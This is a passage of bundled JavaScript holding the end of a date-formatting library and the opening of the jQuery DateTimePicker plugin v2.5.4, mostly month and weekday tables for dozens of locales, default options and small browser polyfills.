                    var tzo = vDate.getTimezoneOffset(), a = Math.abs(tzo);
                    return (tzo > 0 ? '-' : '+') + _lpad(Math.floor(a / 60) * 100 + a % 60, 4);
                },
                /**
                 * Difference to GMT with colon: `e.g. +02:00`
                 * @return {string}
                 */
                P: function () {
                    var O = fmt.O();
                    return (O.substr(0, 3) + ':' + O.substr(3, 2));
                },
                /**
                 * Timezone offset in seconds: `-43200...50400`
                 * @return {number}
                 */
                Z: function () {
                    return -vDate.getTimezoneOffset() * 60;
                },
                ////////////////////
                // FULL DATE TIME //
                ////////////////////
                /**
                 * ISO-8601 date
                 * @return {string}
                 */
                c: function () {
                    return 'Y-m-d\\TH:i:sP'.replace(backspace, doFormat);
                },
                /**
                 * RFC 2822 date
                 * @return {string}
                 */
                r: function () {
                    return 'D, d M Y H:i:s O'.replace(backspace, doFormat);
                },
                /**
                 * Seconds since UNIX epoch
                 * @return {number}
                 */
                U: function () {
                    return vDate.getTime() / 1000 || 0;
                }
            };
            return doFormat(vChar, vChar);
        },
        formatDate: function (vDate, vFormat) {
            var self = this, i, n, len, str, vChar, vDateStr = '';
            if (typeof vDate === 'string') {
                vDate = self.parseDate(vDate, vFormat);
                if (vDate === false) {
                    return false;
                }
            }
            if (vDate instanceof Date) {
                len = vFormat.length;
                for (i = 0; i < len; i++) {
                    vChar = vFormat.charAt(i);
                    if (vChar === 'S') {
                        continue;
                    }
                    str = self.parseFormat(vChar, vDate);
                    if (i !== (len - 1) && self.intParts.test(vChar) && vFormat.charAt(i + 1) === 'S') {
                        n = parseInt(str);
                        str += self.dateSettings.ordinal(n);
                    }
                    vDateStr += str;
                }
                return vDateStr;
            }
            return '';
        }
    };
})();/**
 * @preserve jQuery DateTimePicker plugin v2.5.4
 * @homepage http://xdsoft.net/jqplugins/datetimepicker/
 * @author Chupurnov Valeriy (<[email protected]>)
 */
/*global DateFormatter, document,window,jQuery,setTimeout,clearTimeout,HighlightedDate,getCurrentValue*/
;(function (factory) {
	if ( typeof define === 'function' && define.amd ) {
		// AMD. Register as an anonymous module.
		define(['jquery', 'jquery-mousewheel'], factory);
	} else if (typeof exports === 'object') {
		// Node/CommonJS style for Browserify
		module.exports = factory;
	} else {
		// Browser globals
		factory(jQuery);
	}
}(function ($) {
	'use strict';
	
	var currentlyScrollingTimeDiv = false;
	
	var default_options  = {
		i18n: {
			ar: { // Arabic
				months: [
					"كانون الثاني", "شباط", "آذار", "نيسان", "مايو", "حزيران", "تموز", "آب", "أيلول", "تشرين الأول", "تشرين الثاني", "كانون الأول"
				],
				dayOfWeekShort: [
					"ن", "ث", "ع", "خ", "ج", "س", "ح"
				],
				dayOfWeek: ["الأحد", "الاثنين", "الثلاثاء", "الأربعاء", "الخميس", "الجمعة", "السبت", "الأحد"]
			},
			ro: { // Romanian
				months: [
					"Ianuarie", "Februarie", "Martie", "Aprilie", "Mai", "Iunie", "Iulie", "August", "Septembrie", "Octombrie", "Noiembrie", "Decembrie"
				],
				dayOfWeekShort: [
					"Du", "Lu", "Ma", "Mi", "Jo", "Vi", "Sâ"
				],
				dayOfWeek: ["Duminică", "Luni", "Marţi", "Miercuri", "Joi", "Vineri", "Sâmbătă"]
			},
			id: { // Indonesian
				months: [
					"Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"
				],
				dayOfWeekShort: [
					"Min", "Sen", "Sel", "Rab", "Kam", "Jum", "Sab"
				],
				dayOfWeek: ["Minggu", "Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu"]
			},
			is: { // Icelandic
				months: [
					"Janúar", "Febrúar", "Mars", "Apríl", "Maí", "Júní", "Júlí", "Ágúst", "September", "Október", "Nóvember", "Desember"
				],
				dayOfWeekShort: [
					"Sun", "Mán", "Þrið", "Mið", "Fim", "Fös", "Lau"
				],
				dayOfWeek: ["Sunnudagur", "Mánudagur", "Þriðjudagur", "Miðvikudagur", "Fimmtudagur", "Föstudagur", "Laugardagur"]
			},
			bg: { // Bulgarian
				months: [
					"Януари", "Февруари", "Март", "Април", "Май", "Юни", "Юли", "Август", "Септември", "Октомври", "Ноември", "Декември"
				],
				dayOfWeekShort: [
					"Нд", "Пн", "Вт", "Ср", "Чт", "Пт", "Сб"
				],
				dayOfWeek: ["Неделя", "Понеделник", "Вторник", "Сряда", "Четвъртък", "Петък", "Събота"]
			},
			fa: { // Persian/Farsi
				months: [
					'فروردین', 'اردیبهشت', 'خرداد', 'تیر', 'مرداد', 'شهریور', 'مهر', 'آبان', 'آذر', 'دی', 'بهمن', 'اسفند'
				],
				dayOfWeekShort: [
					'یکشنبه', 'دوشنبه', 'سه شنبه', 'چهارشنبه', 'پنجشنبه', 'جمعه', 'شنبه'
				],
				dayOfWeek: ["یکشنبه", "دوشنبه", "سهشنبه", "چهارشنبه", "پنجشنبه", "جمعه", "شنبه", "یکشنبه"]
			},
			ru: { // Russian
				months: [
					'Январь', 'Февраль', 'Март', 'Апрель', 'Май', 'Июнь', 'Июль', 'Август', 'Сентябрь', 'Октябрь', 'Ноябрь', 'Декабрь'
				],
				dayOfWeekShort: [
					"Вс", "Пн", "Вт", "Ср", "Чт", "Пт", "Сб"
				],
				dayOfWeek: ["Воскресенье", "Понедельник", "Вторник", "Среда", "Четверг", "Пятница", "Суббота"]
			},
			uk: { // Ukrainian
				months: [
					'Січень', 'Лютий', 'Березень', 'Квітень', 'Травень', 'Червень', 'Липень', 'Серпень', 'Вересень', 'Жовтень', 'Листопад', 'Грудень'
				],
				dayOfWeekShort: [
					"Ндл", "Пнд", "Втр", "Срд", "Чтв", "Птн", "Сбт"
				],
				dayOfWeek: ["Неділя", "Понеділок", "Вівторок", "Середа", "Четвер", "П'ятниця", "Субота"]
			},
			en: { // English
				months: [
					"January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"
				],
				dayOfWeekShort: [
					"Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"
				],
				dayOfWeek: ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"]
			},
			el: { // Ελληνικά
				months: [
					"Ιανουάριος", "Φεβρουάριος", "Μάρτιος", "Απρίλιος", "Μάιος", "Ιούνιος", "Ιούλιος", "Αύγουστος", "Σεπτέμβριος", "Οκτώβριος", "Νοέμβριος", "Δεκέμβριος"
				],
				dayOfWeekShort: [
					"Κυρ", "Δευ", "Τρι", "Τετ", "Πεμ", "Παρ", "Σαβ"
				],
				dayOfWeek: ["Κυριακή", "Δευτέρα", "Τρίτη", "Τετάρτη", "Πέμπτη", "Παρασκευή", "Σάββατο"]
			},
			de: { // German
				months: [
					'Januar', 'Februar', 'März', 'April', 'Mai', 'Juni', 'Juli', 'August', 'September', 'Oktober', 'November', 'Dezember'
				],
				dayOfWeekShort: [
					"So", "Mo", "Di", "Mi", "Do", "Fr", "Sa"
				],
				dayOfWeek: ["Sonntag", "Montag", "Dienstag", "Mittwoch", "Donnerstag", "Freitag", "Samstag"]
			},
			nl: { // Dutch
				months: [
					"januari", "februari", "maart", "april", "mei", "juni", "juli", "augustus", "september", "oktober", "november", "december"
				],
				dayOfWeekShort: [
					"zo", "ma", "di", "wo", "do", "vr", "za"
				],
				dayOfWeek: ["zondag", "maandag", "dinsdag", "woensdag", "donderdag", "vrijdag", "zaterdag"]
			},
			tr: { // Turkish
				months: [
					"Ocak", "Şubat", "Mart", "Nisan", "Mayıs", "Haziran", "Temmuz", "Ağustos", "Eylül", "Ekim", "Kasım", "Aralık"
				],
				dayOfWeekShort: [
					"Paz", "Pts", "Sal", "Çar", "Per", "Cum", "Cts"
				],
				dayOfWeek: ["Pazar", "Pazartesi", "Salı", "Çarşamba", "Perşembe", "Cuma", "Cumartesi"]
			},
			fr: { //French
				months: [
					"Janvier", "Février", "Mars", "Avril", "Mai", "Juin", "Juillet", "Août", "Septembre", "Octobre", "Novembre", "Décembre"
				],
				dayOfWeekShort: [
					"Dim", "Lun", "Mar", "Mer", "Jeu", "Ven", "Sam"
				],
				dayOfWeek: ["dimanche", "lundi", "mardi", "mercredi", "jeudi", "vendredi", "samedi"]
			},
			es: { // Spanish
				months: [
					"Enero", "Febrero", "Marzo", "Abril", "Mayo", "Junio", "Julio", "Agosto", "Septiembre", "Octubre", "Noviembre", "Diciembre"
				],
				dayOfWeekShort: [
					"Dom", "Lun", "Mar", "Mié", "Jue", "Vie", "Sáb"
				],
				dayOfWeek: ["Domingo", "Lunes", "Martes", "Miércoles", "Jueves", "Viernes", "Sábado"]
			},
			th: { // Thai
				months: [
					'มกราคม', 'กุมภาพันธ์', 'มีนาคม', 'เมษายน', 'พฤษภาคม', 'มิถุนายน', 'กรกฎาคม', 'สิงหาคม', 'กันยายน', 'ตุลาคม', 'พฤศจิกายน', 'ธันวาคม'
				],
				dayOfWeekShort: [
					'อา.', 'จ.', 'อ.', 'พ.', 'พฤ.', 'ศ.', 'ส.'
				],
				dayOfWeek: ["อาทิตย์", "จันทร์", "อังคาร", "พุธ", "พฤหัส", "ศุกร์", "เสาร์", "อาทิตย์"]
			},
			pl: { // Polish
				months: [
					"styczeń", "luty", "marzec", "kwiecień", "maj", "czerwiec", "lipiec", "sierpień", "wrzesień", "październik", "listopad", "grudzień"
				],
				dayOfWeekShort: [
					"nd", "pn", "wt", "śr", "cz", "pt", "sb"
				],
				dayOfWeek: ["niedziela", "poniedziałek", "wtorek", "środa", "czwartek", "piątek", "sobota"]
			},
			pt: { // Portuguese
				months: [
					"Janeiro", "Fevereiro", "Março", "Abril", "Maio", "Junho", "Julho", "Agosto", "Setembro", "Outubro", "Novembro", "Dezembro"
				],
				dayOfWeekShort: [
					"Dom", "Seg", "Ter", "Qua", "Qui", "Sex", "Sab"
				],
				dayOfWeek: ["Domingo", "Segunda", "Terça", "Quarta", "Quinta", "Sexta", "Sábado"]
			},
			ch: { // Simplified Chinese
				months: [
					"一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"
				],
				dayOfWeekShort: [
					"日", "一", "二", "三", "四", "五", "六"
				]
			},
			se: { // Swedish
				months: [
					"Januari", "Februari", "Mars", "April", "Maj", "Juni", "Juli", "Augusti", "September",  "Oktober", "November", "December"
				],
				dayOfWeekShort: [
					"Sön", "Mån", "Tis", "Ons", "Tor", "Fre", "Lör"
				]
			},
			kr: { // Korean
				months: [
					"1월", "2월", "3월", "4월", "5월", "6월", "7월", "8월", "9월", "10월", "11월", "12월"
				],
				dayOfWeekShort: [
					"일", "월", "화", "수", "목", "금", "토"
				],
				dayOfWeek: ["일요일", "월요일", "화요일", "수요일", "목요일", "금요일", "토요일"]
			},
			it: { // Italian
				months: [
					"Gennaio", "Febbraio", "Marzo", "Aprile", "Maggio", "Giugno", "Luglio", "Agosto", "Settembre", "Ottobre", "Novembre", "Dicembre"
				],
				dayOfWeekShort: [
					"Dom", "Lun", "Mar", "Mer", "Gio", "Ven", "Sab"
				],
				dayOfWeek: ["Domenica", "Lunedì", "Martedì", "Mercoledì", "Giovedì", "Venerdì", "Sabato"]
			},
			da: { // Dansk
				months: [
					"January", "Februar", "Marts", "April", "Maj", "Juni", "July", "August", "September", "Oktober", "November", "December"
				],
				dayOfWeekShort: [
					"Søn", "Man", "Tir", "Ons", "Tor", "Fre", "Lør"
				],
				dayOfWeek: ["søndag", "mandag", "tirsdag", "onsdag", "torsdag", "fredag", "lørdag"]
			},
			no: { // Norwegian
				months: [
					"Januar", "Februar", "Mars", "April", "Mai", "Juni", "Juli", "August", "September", "Oktober", "November", "Desember"
				],
				dayOfWeekShort: [
					"Søn", "Man", "Tir", "Ons", "Tor", "Fre", "Lør"
				],
				dayOfWeek: ['Søndag', 'Mandag', 'Tirsdag', 'Onsdag', 'Torsdag', 'Fredag', 'Lørdag']
			},
			ja: { // Japanese
				months: [
					"1月", "2月", "3月", "4月", "5月", "6月", "7月", "8月", "9月", "10月", "11月", "12月"
				],
				dayOfWeekShort: [
					"日", "月", "火", "水", "木", "金", "土"
				],
				dayOfWeek: ["日曜", "月曜", "火曜", "水曜", "木曜", "金曜", "土曜"]
			},
			vi: { // Vietnamese
				months: [
					"Tháng 1", "Tháng 2", "Tháng 3", "Tháng 4", "Tháng 5", "Tháng 6", "Tháng 7", "Tháng 8", "Tháng 9", "Tháng 10", "Tháng 11", "Tháng 12"
				],
				dayOfWeekShort: [
					"CN", "T2", "T3", "T4", "T5", "T6", "T7"
				],
				dayOfWeek: ["Chủ nhật", "Thứ hai", "Thứ ba", "Thứ tư", "Thứ năm", "Thứ sáu", "Thứ bảy"]
			},
			sl: { // Slovenščina
				months: [
					"Januar", "Februar", "Marec", "April", "Maj", "Junij", "Julij", "Avgust", "September", "Oktober", "November", "December"
				],
				dayOfWeekShort: [
					"Ned", "Pon", "Tor", "Sre", "Čet", "Pet", "Sob"
				],
				dayOfWeek: ["Nedelja", "Ponedeljek", "Torek", "Sreda", "Četrtek", "Petek", "Sobota"]
			},
			cs: { // Čeština
				months: [
					"Leden", "Únor", "Březen", "Duben", "Květen", "Červen", "Červenec", "Srpen", "Září", "Říjen", "Listopad", "Prosinec"
				],
				dayOfWeekShort: [
					"Ne", "Po", "Út", "St", "Čt", "Pá", "So"
				]
			},
			hu: { // Hungarian
				months: [
					"Január", "Február", "Március", "Április", "Május", "Június", "Július", "Augusztus", "Szeptember", "Október", "November", "December"
				],
				dayOfWeekShort: [
					"Va", "Hé", "Ke", "Sze", "Cs", "Pé", "Szo"
				],
				dayOfWeek: ["vasárnap", "hétfő", "kedd", "szerda", "csütörtök", "péntek", "szombat"]
			},
			az: { //Azerbaijanian (Azeri)
				months: [
					"Yanvar", "Fevral", "Mart", "Aprel", "May", "Iyun", "Iyul", "Avqust", "Sentyabr", "Oktyabr", "Noyabr", "Dekabr"
				],
				dayOfWeekShort: [
					"B", "Be", "Ça", "Ç", "Ca", "C", "Ş"
				],
				dayOfWeek: ["Bazar", "Bazar ertəsi", "Çərşənbə axşamı", "Çərşənbə", "Cümə axşamı", "Cümə", "Şənbə"]
			},
			bs: { //Bosanski
				months: [
					"Januar", "Februar", "Mart", "April", "Maj", "Jun", "Jul", "Avgust", "Septembar", "Oktobar", "Novembar", "Decembar"
				],
				dayOfWeekShort: [
					"Ned", "Pon", "Uto", "Sri", "Čet", "Pet", "Sub"
				],
				dayOfWeek: ["Nedjelja","Ponedjeljak", "Utorak", "Srijeda", "Četvrtak", "Petak", "Subota"]
			},
			ca: { //Català
				months: [
					"Gener", "Febrer", "Març", "Abril", "Maig", "Juny", "Juliol", "Agost", "Setembre", "Octubre", "Novembre", "Desembre"
				],
				dayOfWeekShort: [
					"Dg", "Dl", "Dt", "Dc", "Dj", "Dv", "Ds"
				],
				dayOfWeek: ["Diumenge", "Dilluns", "Dimarts", "Dimecres", "Dijous", "Divendres", "Dissabte"]
			},
			'en-GB': { //English (British)
				months: [
					"January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"
				],
				dayOfWeekShort: [
					"Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"
				],
				dayOfWeek: ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"]
			},
			et: { //"Eesti"
				months: [
					"Jaanuar", "Veebruar", "Märts", "Aprill", "Mai", "Juuni", "Juuli", "August", "September", "Oktoober", "November", "Detsember"
				],
				dayOfWeekShort: [
					"P", "E", "T", "K", "N", "R", "L"
				],
				dayOfWeek: ["Pühapäev", "Esmaspäev", "Teisipäev", "Kolmapäev", "Neljapäev", "Reede", "Laupäev"]
			},
			eu: { //Euskara
				months: [
					"Urtarrila", "Otsaila", "Martxoa", "Apirila", "Maiatza", "Ekaina", "Uztaila", "Abuztua", "Iraila", "Urria", "Azaroa", "Abendua"
				],
				dayOfWeekShort: [
					"Ig.", "Al.", "Ar.", "Az.", "Og.", "Or.", "La."
				],
				dayOfWeek: ['Igandea', 'Astelehena', 'Asteartea', 'Asteazkena', 'Osteguna', 'Ostirala', 'Larunbata']
			},
			fi: { //Finnish (Suomi)
				months: [
					"Tammikuu", "Helmikuu", "Maaliskuu", "Huhtikuu", "Toukokuu", "Kesäkuu", "Heinäkuu", "Elokuu", "Syyskuu", "Lokakuu", "Marraskuu", "Joulukuu"
				],
				dayOfWeekShort: [
					"Su", "Ma", "Ti", "Ke", "To", "Pe", "La"
				],
				dayOfWeek: ["sunnuntai", "maanantai", "tiistai", "keskiviikko", "torstai", "perjantai", "lauantai"]
			},
			gl: { //Galego
				months: [
					"Xan", "Feb", "Maz", "Abr", "Mai", "Xun", "Xul", "Ago", "Set", "Out", "Nov", "Dec"
				],
				dayOfWeekShort: [
					"Dom", "Lun", "Mar", "Mer", "Xov", "Ven", "Sab"
				],
				dayOfWeek: ["Domingo", "Luns", "Martes", "Mércores", "Xoves", "Venres", "Sábado"]
			},
			hr: { //Hrvatski
				months: [
					"Siječanj", "Veljača", "Ožujak", "Travanj", "Svibanj", "Lipanj", "Srpanj", "Kolovoz", "Rujan", "Listopad", "Studeni", "Prosinac"
				],
				dayOfWeekShort: [
					"Ned", "Pon", "Uto", "Sri", "Čet", "Pet", "Sub"
				],
				dayOfWeek: ["Nedjelja", "Ponedjeljak", "Utorak", "Srijeda", "Četvrtak", "Petak", "Subota"]
			},
			ko: { //Korean (한국어)
				months: [
					"1월", "2월", "3월", "4월", "5월", "6월", "7월", "8월", "9월", "10월", "11월", "12월"
				],
				dayOfWeekShort: [
					"일", "월", "화", "수", "목", "금", "토"
				],
				dayOfWeek: ["일요일", "월요일", "화요일", "수요일", "목요일", "금요일", "토요일"]
			},
			lt: { //Lithuanian (lietuvių)
				months: [
					"Sausio", "Vasario", "Kovo", "Balandžio", "Gegužės", "Birželio", "Liepos", "Rugpjūčio", "Rugsėjo", "Spalio", "Lapkričio", "Gruodžio"
				],
				dayOfWeekShort: [
					"Sek", "Pir", "Ant", "Tre", "Ket", "Pen", "Šeš"
				],
				dayOfWeek: ["Sekmadienis", "Pirmadienis", "Antradienis", "Trečiadienis", "Ketvirtadienis", "Penktadienis", "Šeštadienis"]
			},
			lv: { //Latvian (Latviešu)
				months: [
					"Janvāris", "Februāris", "Marts", "Aprīlis ", "Maijs", "Jūnijs", "Jūlijs", "Augusts", "Septembris", "Oktobris", "Novembris", "Decembris"
				],
				dayOfWeekShort: [
					"Sv", "Pr", "Ot", "Tr", "Ct", "Pk", "St"
				],
				dayOfWeek: ["Svētdiena", "Pirmdiena", "Otrdiena", "Trešdiena", "Ceturtdiena", "Piektdiena", "Sestdiena"]
			},
			mk: { //Macedonian (Македонски)
				months: [
					"јануари", "февруари", "март", "април", "мај", "јуни", "јули", "август", "септември", "октомври", "ноември", "декември"
				],
				dayOfWeekShort: [
					"нед", "пон", "вто", "сре", "чет", "пет", "саб"
				],
				dayOfWeek: ["Недела", "Понеделник", "Вторник", "Среда", "Четврток", "Петок", "Сабота"]
			},
			mn: { //Mongolian (Монгол)
				months: [
					"1-р сар", "2-р сар", "3-р сар", "4-р сар", "5-р сар", "6-р сар", "7-р сар", "8-р сар", "9-р сар", "10-р сар", "11-р сар", "12-р сар"
				],
				dayOfWeekShort: [
					"Дав", "Мяг", "Лха", "Пүр", "Бсн", "Бям", "Ням"
				],
				dayOfWeek: ["Даваа", "Мягмар", "Лхагва", "Пүрэв", "Баасан", "Бямба", "Ням"]
			},
			'pt-BR': { //Português(Brasil)
				months: [
					"Janeiro", "Fevereiro", "Março", "Abril", "Maio", "Junho", "Julho", "Agosto", "Setembro", "Outubro", "Novembro", "Dezembro"
				],
				dayOfWeekShort: [
					"Dom", "Seg", "Ter", "Qua", "Qui", "Sex", "Sáb"
				],
				dayOfWeek: ["Domingo", "Segunda", "Terça", "Quarta", "Quinta", "Sexta", "Sábado"]
			},
			sk: { //Slovenčina
				months: [
					"Január", "Február", "Marec", "Apríl", "Máj", "Jún", "Júl", "August", "September", "Október", "November", "December"
				],
				dayOfWeekShort: [
					"Ne", "Po", "Ut", "St", "Št", "Pi", "So"
				],
				dayOfWeek: ["Nedeľa", "Pondelok", "Utorok", "Streda", "Štvrtok", "Piatok", "Sobota"]
			},
			sq: { //Albanian (Shqip)
				months: [
					"Janar", "Shkurt", "Mars", "Prill", "Maj", "Qershor", "Korrik", "Gusht", "Shtator", "Tetor", "Nëntor", "Dhjetor"
				],
				dayOfWeekShort: [
					"Die", "Hën", "Mar", "Mër", "Enj", "Pre", "Shtu"
				],
				dayOfWeek: ["E Diel", "E Hënë", "E Martē", "E Mërkurë", "E Enjte", "E Premte", "E Shtunë"]
			},
			'sr-YU': { //Serbian (Srpski)
				months: [
					"Januar", "Februar", "Mart", "April", "Maj", "Jun", "Jul", "Avgust", "Septembar", "Oktobar", "Novembar", "Decembar"
				],
				dayOfWeekShort: [
					"Ned", "Pon", "Uto", "Sre", "čet", "Pet", "Sub"
				],
				dayOfWeek: ["Nedelja","Ponedeljak", "Utorak", "Sreda", "Četvrtak", "Petak", "Subota"]
			},
			sr: { //Serbian Cyrillic (Српски)
				months: [
					"јануар", "фебруар", "март", "април", "мај", "јун", "јул", "август", "септембар", "октобар", "новембар", "децембар"
				],
				dayOfWeekShort: [
					"нед", "пон", "уто", "сре", "чет", "пет", "суб"
				],
				dayOfWeek: ["Недеља","Понедељак", "Уторак", "Среда", "Четвртак", "Петак", "Субота"]
			},
			sv: { //Svenska
				months: [
					"Januari", "Februari", "Mars", "April", "Maj", "Juni", "Juli", "Augusti", "September", "Oktober", "November", "December"
				],
				dayOfWeekShort: [
					"Sön", "Mån", "Tis", "Ons", "Tor", "Fre", "Lör"
				],
				dayOfWeek: ["Söndag", "Måndag", "Tisdag", "Onsdag", "Torsdag", "Fredag", "Lördag"]
			},
			'zh-TW': { //Traditional Chinese (繁體中文)
				months: [
					"一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"
				],
				dayOfWeekShort: [
					"日", "一", "二", "三", "四", "五", "六"
				],
				dayOfWeek: ["星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六"]
			},
			zh: { //Simplified Chinese (简体中文)
				months: [
					"一月", "二月", "三月", "四月", "五月", "六月", "七月", "八月", "九月", "十月", "十一月", "十二月"
				],
				dayOfWeekShort: [
					"日", "一", "二", "三", "四", "五", "六"
				],
				dayOfWeek: ["星期日", "星期一", "星期二", "星期三", "星期四", "星期五", "星期六"]
			},
			he: { //Hebrew (עברית)
				months: [
					'ינואר', 'פברואר', 'מרץ', 'אפריל', 'מאי', 'יוני', 'יולי', 'אוגוסט', 'ספטמבר', 'אוקטובר', 'נובמבר', 'דצמבר'
				],
				dayOfWeekShort: [
					'א\'', 'ב\'', 'ג\'', 'ד\'', 'ה\'', 'ו\'', 'שבת'
				],
				dayOfWeek: ["ראשון", "שני", "שלישי", "רביעי", "חמישי", "שישי", "שבת", "ראשון"]
			},
			hy: { // Armenian
				months: [
					"Հունվար", "Փետրվար", "Մարտ", "Ապրիլ", "Մայիս", "Հունիս", "Հուլիս", "Օգոստոս", "Սեպտեմբեր", "Հոկտեմբեր", "Նոյեմբեր", "Դեկտեմբեր"
				],
				dayOfWeekShort: [
					"Կի", "Երկ", "Երք", "Չոր", "Հնգ", "Ուրբ", "Շբթ"
				],
				dayOfWeek: ["Կիրակի", "Երկուշաբթի", "Երեքշաբթի", "Չորեքշաբթի", "Հինգշաբթի", "Ուրբաթ", "Շաբաթ"]
			},
			kg: { // Kyrgyz
				months: [
					'Үчтүн айы', 'Бирдин айы', 'Жалган Куран', 'Чын Куран', 'Бугу', 'Кулжа', 'Теке', 'Баш Оона', 'Аяк Оона', 'Тогуздун айы', 'Жетинин айы', 'Бештин айы'
				],
				dayOfWeekShort: [
					"Жек", "Дүй", "Шей", "Шар", "Бей", "Жум", "Ише"
				],
				dayOfWeek: [
					"Жекшемб", "Дүйшөмб", "Шейшемб", "Шаршемб", "Бейшемби", "Жума", "Ишенб"
				]
			},
			rm: { // Romansh
				months: [
					"Schaner", "Favrer", "Mars", "Avrigl", "Matg", "Zercladur", "Fanadur", "Avust", "Settember", "October", "November", "December"
				],
				dayOfWeekShort: [
					"Du", "Gli", "Ma", "Me", "Gie", "Ve", "So"
				],
				dayOfWeek: [
					"Dumengia", "Glindesdi", "Mardi", "Mesemna", "Gievgia", "Venderdi", "Sonda"
				]
			},
			ka: { // Georgian
				months: [
					'იანვარი', 'თებერვალი', 'მარტი', 'აპრილი', 'მაისი', 'ივნისი', 'ივლისი', 'აგვისტო', 'სექტემბერი', 'ოქტომბერი', 'ნოემბერი', 'დეკემბერი'
				],
				dayOfWeekShort: [
					"კვ", "ორშ", "სამშ", "ოთხ", "ხუთ", "პარ", "შაბ"
				],
				dayOfWeek: ["კვირა", "ორშაბათი", "სამშაბათი", "ოთხშაბათი", "ხუთშაბათი", "პარასკევი", "შაბათი"]
			},
		},
		value: '',
		rtl: false,
		format:	'Y/m/d H:i',
		formatTime:	'H:i',
		formatDate:	'Y/m/d',
		startDate:	false, // new Date(), '1986/12/08', '-1970/01/05','-1970/01/05',
		step: 60,
		monthChangeSpinner: true,
		closeOnDateSelect: false,
		closeOnTimeSelect: true,
		closeOnWithoutClick: true,
		closeOnInputClick: true,
		timepicker: true,
		datepicker: true,
		weeks: false,
		defaultTime: false,	// use formatTime format (ex. '10:00' for formatTime:	'H:i')
		defaultDate: false,	// use formatDate format (ex new Date() or '1986/12/08' or '-1970/01/05' or '-1970/01/05')
		minDate: false,
		maxDate: false,
		minTime: false,
		maxTime: false,
		disabledMinTime: false,
		disabledMaxTime: false,
		allowTimes: [],
		opened: false,
		initTime: true,
		inline: false,
		theme: '',
		onSelectDate: function () {},
		onSelectTime: function () {},
		onChangeMonth: function () {},
		onGetWeekOfYear: function () {},
		onChangeYear: function () {},
		onChangeDateTime: function () {},
		onShow: function () {},
		onClose: function () {},
		onGenerate: function () {},
		withoutCopyright: true,
		inverseButton: false,
		hours12: false,
		next: 'xdsoft_next',
		prev : 'xdsoft_prev',
		dayOfWeekStart: 0,
		parentID: 'body',
		timeHeightInTimePicker: 25,
		timepickerScrollbar: true,
		todayButton: true,
		prevButton: true,
		nextButton: true,
		defaultSelect: true,
		scrollMonth: true,
		scrollTime: true,
		scrollInput: true,
		lazyInit: false,
		mask: false,
		validateOnBlur: true,
		allowBlank: true,
		yearStart: 1950,
		yearEnd: 2050,
		monthStart: 0,
		monthEnd: 11,
		style: '',
		id: '',
		fixed: false,
		roundTime: 'round', // ceil, floor
		className: '',
		weekends: [],
		highlightedDates: [],
		highlightedPeriods: [],
		allowDates : [],
		allowDateRe : null,
		disabledDates : [],
		disabledWeekDays: [],
		yearOffset: 0,
		beforeShowDay: null,
		enterLikeTab: true,
		showApplyButton: false
	};
	var dateHelper = null,
		globalLocaleDefault = 'ru',
		globalLocale = 'ru';
	var dateFormatterOptionsDefault = {
		meridiem: ['AM', 'PM']
	};
	var initDateFormatter = function(){
		var locale = default_options.i18n[globalLocale],
			opts = {
				days: locale.dayOfWeek,
				daysShort: locale.dayOfWeekShort,
				months: locale.months,
				monthsShort: $.map(locale.months, function(n){ return n.substring(0, 3) }),
			};
	 	dateHelper = new DateFormatter({
			dateSettings: $.extend({}, dateFormatterOptionsDefault, opts)
		});
	};
	// for locale settings
	$.datetimepicker = {
		setLocale: function(locale){
			var newLocale = default_options.i18n[locale]?locale:globalLocaleDefault;
			if(globalLocale != newLocale){
				globalLocale = newLocale;
				// reinit date formatter
				initDateFormatter();
			}
		},
		setDateFormatter: function(dateFormatter) {
			dateHelper = dateFormatter;
		},
		RFC_2822: 'D, d M Y H:i:s O',
		ATOM: 'Y-m-d\TH:i:sP',
		ISO_8601: 'Y-m-d\TH:i:sO',
		RFC_822: 'D, d M y H:i:s O',
		RFC_850: 'l, d-M-y H:i:s T',
		RFC_1036: 'D, d M y H:i:s O',
		RFC_1123: 'D, d M Y H:i:s O',
		RSS: 'D, d M Y H:i:s O',
		W3C: 'Y-m-d\TH:i:sP'
	};
	// first init date formatter
	initDateFormatter();
	// fix for ie8
	if (!window.getComputedStyle) {
		window.getComputedStyle = function (el, pseudo) {
			this.el = el;
			this.getPropertyValue = function (prop) {
				var re = /(\-([a-z]){1})/g;
				if (prop === 'float') {
					prop = 'styleFloat';
				}
				if (re.test(prop)) {
					prop = prop.replace(re, function (a, b, c) {
						return c.toUpperCase();
					});
				}
				return el.currentStyle[prop] || null;
			};
			return this;
		};
	}
	if (!Array.prototype.indexOf) {
		Array.prototype.indexOf = function (obj, start) {
			var i, j;
			for (i = (start || 0), j = this.length; i < j; i += 1) {
				if (this[i] === obj) { return i; }
			}
			return -1;
		};
	}
	Date.prototype.countDaysInMonth = function () {
		return new Date(this.getFullYear(), this.getMonth() + 1, 0).getDate();
	};
	$.fn.xdsoftScroller = function (percent) {
		return this.each(function () {
			var timeboxparent = $(this),
				pointerEventToXY = function (e) {
					var out = {x: 0, y: 0},
						touch;
					if (e.type === 'touchstart' || e.type === 'touchmove' || e.type === 'touchend' || e.type === 'touchcancel') {
						touch  = e.originalEvent.touches[0] || e.originalEvent.changedTouches[0];
						out.x = touch.clientX;
						out.y = touch.clientY;
					} else if (e.type === 'mousedown' || e.type === 'mouseup' || e.type === 'mousemove' || e.type === 'mouseover' || e.type === 'mouseout' || e.type === 'mouseenter' || e.type === 'mouseleave') {
						out.x = e.clientX;
						out.y = e.clientY;
					}
					return out;
				},
				timebox,
				parentHeight,
				height,
				scrollbar,
				scroller,
				maximumOffset = 100,
				start = false,
				startY = 0,
				startTop = 0,
				h1 = 0,
				touchStart = false,
				startTopScroll = 0,
				calcOffset = function () {};
			if (percent === 'hide') {
				timeboxparent.find('.xdsoft_scrollbar').hide();
				return;
			}
			if (!$(this).hasClass('xdsoft_scroller_box')) {
